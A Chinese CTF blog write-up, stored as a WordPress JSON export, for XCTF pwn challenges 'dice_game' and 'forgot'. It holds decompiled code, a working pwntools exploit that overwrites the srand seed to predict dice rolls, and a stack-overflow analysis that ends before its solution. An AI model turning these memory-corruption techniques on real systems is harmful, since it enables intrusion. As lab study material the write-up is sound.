{"id":351,"date":"2024-02-04T00:26:31","date_gmt":"2024-02-03T16:26:31","guid":{"rendered":"http:\/\/162.14.82.114\/?p=351"},"modified":"2024-02-04T00:26:31","modified_gmt":"2024-02-03T16:26:31","slug":"%e6%94%bb%e9%98%b2%e4%b8%96%e7%95%8c%e8%bf%9b%e9%98%b6%e4%b8%93%e5%8c%ba-pwn110","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/351\/02\/04\/2024\/","title":{"rendered":"\u653b\u9632\u4e16\u754c\u8fdb\u9636\u4e13\u533a\u2014\u2014PWN(1~10)"},"content":{"rendered":"

\u653b\u9632\u4e16\u754c\u8fdb\u9636\u4e13\u533a\u2014\u2014PWN(1~10)<\/h1>\n

dice_game<\/h2>\n

\"image-20220323161437618\"<\/div><\/p>\n

\u4e0b\u8f7d\u9644\u4ef6\uff0c\u662f\u4e00\u4e2azip\u538b\u7f29\u6587\u4ef6\uff0c\u89e3\u538b\u4e00\u4e0b\uff0c\u518dchecksec\u4e00\u4e0b\uff1a<\/p>\n

\"image-20220323165013839\"<\/div><\/p>\n

\u53d1\u73b0\u53ea\u6709canary\u6ca1\u5f00\uff0c\u4f5c\u4e3a\u4e00\u4e2a\u5c11\u661f\u7684\u95ee\u9898\uff0c\u592a\u5413\u552c\u4eba\u4e86\uff01<\/p>\n

ida\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n

__int64 __fastcall main(__int64 a1, char **a2, char **a3)\n{\n  char buf[55]; \/\/ [rsp+0h] [rbp-50h]\n  char v5; \/\/ [rsp+37h] [rbp-19h]\n  ssize_t v6; \/\/ [rsp+38h] [rbp-18h]\n  unsigned int seed[2]; \/\/ [rsp+40h] [rbp-10h]   seed\u7684rbp\u504f\u79fb\u503c\u662f10h\uff0c\u5728\u8f93\u5165szName\u7684\u65f6\u5019\u53ef\u4ee5\u8986\u76d6\u5230seed\u7684\u503c\u3002\n  unsigned int v8; \/\/ [rsp+4Ch] [rbp-4h]\n\n  memset(buf, 0, 0x30uLL);\n  *(_QWORD *)seed = time(0LL);\n  printf("Welcome, let me know your name: ", a2);\n  fflush(stdout);\n  v6 = read(0, buf, 0x50uLL);    \/\/buf\u5b58\u5728\u8f93\u5165\u70b9\uff0c\u8f93\u5165\u9650\u5236\u662f0x50\uff0cszName\u7684rbp\u504f\u79fb\u503c\u662f50h\uff0c\u521a\u597d\u76f8\u7b49\uff0c\u4e0d\u80fd\u505a\u6808\u6ea2\u51fa\u3002\n  if ( v6 <= 49 )\n    buf[v6 - 1] = 0;\n  printf("Hi, %s. Let's play a game.\\n", buf);\n  fflush(stdout);\n  srand(seed[0]);\n  v8 = 1;\n  v5 = 0;\n  while ( 1 )\n  {\n    printf("Game %d\/50\\n", v8);\n    v5 = sub_A20();\n    fflush(stdout);\n    if ( v5 != 1 )\n      break;\n    if ( v8 == 50 )\n    {\n      sub_B28(buf);\n      break;\n    }\n    ++v8;\n  }\n  puts("Bye bye!");\n  return 0LL;\n}<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u51fa\u903b\u8f91\uff0c\u548c\u968f\u673a\u6570\u6709\u5173\uff0c\u65b0\u624b\u533a\u91cc\u9762\u4e5f\u6709\u4e2a\u4f2a\u968f\u673a\u6570\uff0c\u5e94\u8be5\u548c\u8fd9\u9898\u6709\u76f8\u4f3c\u4e4b\u5904\uff0c\u628a\u968f\u673a\u6570\u7684\u79cd\u5b50\u8986\u76d6\u6210\u6211\u4eec\u5b9a\u4e49\u7684\u56fa\u5b9a\u503c\u3002<\/p>\n
srand(seed[0]);<\/code><\/pre>\n
\u518d\u67e5\u770b\u4e00\u4e0b\u5176\u4ed6\u7684\u51fd\u6570\uff1a<\/p>\n
signed __int64 sub_A20()\n{\n  signed __int64 result; \/\/ rax\n  __int16 v1; \/\/ [rsp+Ch] [rbp-4h]\n  __int16 v2; \/\/ [rsp+Eh] [rbp-2h]\n\n  printf("Give me the point(1~6): ");\n  fflush(stdout);\n  _isoc99_scanf("%hd", &v1);\n  if ( v1 > 0 && v1 <= 6 )\n  {\n    v2 = rand() % 6 + 1;\n    if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )\n      _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");\n    if ( v1 == v2 )\n    {\n      puts("You win.");\n      result = 1LL;\n    }\n    else\n    {\n      puts("You lost.");\n      result = 0LL;\n    }\n  }\n  else\n  {\n    puts("Invalid value!");\n    result = 0LL;\n  }\n  return result;\n}<\/code><\/pre>\n
int __fastcall sub_B28(__int64 a1)\n{\n  char s; \/\/ [rsp+10h] [rbp-70h]\n  FILE *stream; \/\/ [rsp+78h] [rbp-8h]\n\n  printf("Congrats %s\\n", a1);\n  stream = fopen("flag", "r");\n  fgets(&s, 100, stream);\n  puts(&s);\n  return fflush(stdout);\n}<\/code><\/pre>\n
\u89c2\u5bdf\u4e0a\u8ff0\u51fd\u6570\u53ef\u4ee5\u627e\u5230\u53d1\u73b0\uff1abuf\u5b58\u5728\u8f93\u5165\u70b9\uff0c\u8f93\u5165\u9650\u5236\u662f0x50\uff0cszName\u7684rbp\u504f\u79fb\u503c\u662f50h\uff0c\u521a\u597d\u76f8\u7b49\uff0c\u4e0d\u80fd\u505a\u6808\u6ea2\u51fa\uff0c\u4f46\u662fseed\u7684rbp\u504f\u79fb\u503c\u662f10h\uff0c\u5728\u8f93\u5165szName\u7684\u65f6\u5019\u53ef\u4ee5\u8986\u76d6\u5230seed\u7684\u503c\u3002<\/p>\n
EXP\uff1a<\/h3>\n
\u6784\u5efapayload\uff1a<\/p>\n
#coding:utf8\nfrom pwn import *\nfrom ctypes import *\np = remote('111.200.241.244', 65518)\nlibc = cdll.LoadLibrary('\/home\/kali\/Desktop\/libc.so.6')\nlibc.srand(1)\npayload = b'A' * 0x40 + p64(1)\np.sendlineafter('Welcome, let me know your name: ', payload)\nfor i in range(50):\n    rand_value = libc.rand() % 6 + 1\n    p.sendlineafter('Give me the point(1~6): ', str(rand_value))\np.interactive()<\/code><\/pre>\n
\u8fd0\u884c\u5f97\u5230flag\uff1a<\/p>\n
\"image-20220323183748823\"<\/div><\/p>\n
forgot<\/h2>\n
\"image-20220323190217172\"<\/div><\/p>\n
\u6253\u5f00\u9644\u4ef6\uff0c\u67e5\u770b\u57fa\u672c\u4fe1\u606f\uff1a<\/p>\n
\"image-20220323190545991\"<\/div><\/p>\n
\u53d1\u73b0\u53ea\u5f00\u4e86NX\uff0c\u6ca1\u6709canary\u5c31\u610f\u5473\u7740\u53ef\u4ee5\u76f4\u63a5\u6808\u6ea2\u51fa<\/p>\n
IDA\u6253\u5f00\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n
int __cdecl main()\n{\n  size_t v0; \/\/ ebx\n  char v2[32]; \/\/ [esp+10h] [ebp-74h]\n  int (*v3)(); \/\/ [esp+30h] [ebp-54h]\n  int (*v4)(); \/\/ [esp+34h] [ebp-50h]\n  int (*v5)(); \/\/ [esp+38h] [ebp-4Ch]\n  int (*v6)(); \/\/ [esp+3Ch] [ebp-48h]\n  int (*v7)(); \/\/ [esp+40h] [ebp-44h]\n  int (*v8)(); \/\/ [esp+44h] [ebp-40h]\n  int (*v9)(); \/\/ [esp+48h] [ebp-3Ch]\n  int (*v10)(); \/\/ [esp+4Ch] [ebp-38h]\n  int (*v11)(); \/\/ [esp+50h] [ebp-34h]\n  int (*v12)(); \/\/ [esp+54h] [ebp-30h]\n  char s; \/\/ [esp+58h] [ebp-2Ch]\n  int v14; \/\/ [esp+78h] [ebp-Ch]\n  size_t i; \/\/ [esp+7Ch] [ebp-8h]\n\n  v14 = 1;\n  v3 = sub_8048604;\n  v4 = sub_8048618;\n  v5 = sub_804862C;\n  v6 = sub_8048640;\n  v7 = sub_8048654;\n  v8 = sub_8048668;\n  v9 = sub_804867C;\n  v10 = sub_8048690;\n  v11 = sub_80486A4;\n  v12 = sub_80486B8;\n  puts("What is your name?");\n  printf("> ");\n  fflush(stdout);\n  fgets(&s, 32, stdin);\n  sub_80485DD(&s);\n  fflush(stdout);\n  printf("I should give you a pointer perhaps. Here: %x\\n\\n", sub_8048654);\n  fflush(stdout);\n  puts("Enter the string to be validate");\n  printf("> ");\n  fflush(stdout);\n  __isoc99_scanf("%s", v2);\n  for ( i = 0; ; ++i )\n  {\n    v0 = i;\n    if ( v0 >= strlen(v2) )\n      break;\n    switch ( v14 )\n    {\n      case 1:\n        if ( sub_8048702(v2[i]) )\n          v14 = 2;\n        break;\n      case 2:\n        if ( v2[i] == 64 )\n          v14 = 3;\n        break;\n      case 3:\n        if ( sub_804874C(v2[i]) )\n          v14 = 4;\n        break;\n      case 4:\n        if ( v2[i] == 46 )\n          v14 = 5;\n        break;\n      case 5:\n        if ( sub_8048784(v2[i]) )\n          v14 = 6;\n        break;\n      case 6:\n        if ( sub_8048784(v2[i]) )\n          v14 = 7;\n        break;\n      case 7:\n        if ( sub_8048784(v2[i]) )\n          v14 = 8;\n        break;\n      case 8:\n        if ( sub_8048784(v2[i]) )\n          v14 = 9;\n        break;\n      case 9:\n        v14 = 10;\n        break;\n      default:\n        continue;\n    }\n  }\n  (*(&v3 + --v14))();\n  return fflush(stdout);\n}<\/code><\/pre>\n
\u53ef\u4ee5\u53d1\u73b0\u6709\u4e24\u5904\u6ea2\u51fa\u70b9\uff0c\u4f46\u662f\u7b2c\u4e00\u5904\u6ca1\u6709\u4ec0\u4e48\u4ef7\u503c\uff0c\u7b2c\u4e8c\u5904\u6ea2\u51fa\u70b9\uff1a<\/p>\n
\"image-20220323194704345\"<\/div><\/p>\n
\u6ca1\u6709\u9650\u5236v2\u7684\u8f93\u5165\uff0c\u53ef\u4ee5\u8ba9v2\u6ea2\u51fa\uff0cmain\u51fd\u6570(\\*(&v3 + \u2013v14))()*<\/code>\u610f\u601d\u662f\u8c03\u7528 \u6307\u9488(v3 + (v14 - 1))<\/code>\u6240\u6307\u5411\u7684\u51fd\u6570\uff0c\u5982\u679cv14\u7b49\u4e8e1\uff0c\u90a3\u4e48\u8fd9\u53e5\u8bdd\u8c03\u7528\u7684\u5c31\u662fv3\u539f\u672c\u6307\u5411\u7684\u51fd\u6570\u3002<\/p>\n
\"image-20220323195603631\"<\/div><\/p>\n
\u800c\u4e14\u7b2c\u4e8c\u4e2a\u8f93\u5165\u70b9\u6709\u9650\u5236\u6761\u4ef6\uff1a<\/p>\n
_BOOL4 __cdecl sub_8048702(char a1)\n{\n  return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;\n}<\/code><\/pre>\n
\u67e5\u770b\u4e00\u4e0b\u5b57\u7b26\u4e32\u7a97\u53e3\uff0c\u53ef\u4ee5\u770b\u5230\u51e0\u4e2a\u6709\u610f\u601d\u7684\u70b9\uff1a<\/p>\n
\"image-20220323192147729\"<\/div><\/p>\n
\u8ffd\u8e2a\u4e00\u4e0bsystem\uff0c\u67e5\u770b\u4e00\u4e0b\u5f15\u7528\uff0c\u627e\u5230\uff1a<\/p>\n
int sub_80486CC()\n{\n  char s; \/\/ [esp+1Eh] [ebp-3Ah]\n  snprintf(&s, 0x32u, "cat %s", ".\/flag");\n  return system(&s);\n}<\/code><\/pre>\n
\u601d\u8def\uff1a<\/h3>\n